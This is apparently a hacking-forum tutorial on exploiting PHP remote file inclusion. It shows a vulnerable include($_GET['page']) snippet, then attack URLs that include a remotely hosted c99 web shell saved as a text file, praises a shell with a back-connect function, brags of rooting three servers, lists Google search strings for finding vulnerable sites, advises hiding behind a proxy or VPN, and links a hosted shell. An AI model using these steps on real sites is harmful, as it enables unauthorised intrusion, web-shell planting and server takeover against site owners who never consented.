RFI

RFI (remote file inclusion) is possible just because coders are too lazy to santize a simple php inclusion
lets take a look at a code snippet of:
home.php

$page = $_GET['page'];
include($page);

line 1: defines the variable page to the url option page eg: home.php?page=news.php

line 2: includes that page therefore executing any code in that page on their website

so if you were to change the included file from news.php to a remote file that file should be executed on the webpage

ok so ill explane with just a simple c99 shell (php hacking script)
lets try including a shell in php format
home.php?page=http://site.com/c99.php
the file will be included but the code will not be executed on home.php but the remote url because php outputs raw html (hyper text markup language)
so we need to include a file that outputs the raw php
a text file will work!

home.php?page=http://site.com/c99.txt
ok well your text file must contain the text of a hacking script
mulcishell is available on this very forum
which has a very reliable back connect function
i have rooted 3 servers using mulcishell!
ok well because our file is php
if that text file contains any php the code will be executed on home.php
so if we were to include a shell in a text file
the shell would pop up on the screen right in front of you!
that is remote fil inclusion!

to find vulnerable sites just type one of these is google
inurl:".php?page=about.php
inurl:".php?page=contacts.php
inurl:".php?page=news.php
inurl:".php?page=info.php

use proxy, vpn or be anonymous
not all of the links are vulnerable you will have to try all of them to find out which ones are
a link to a simple c99 is
http://pars-h.t35.com/c99.txt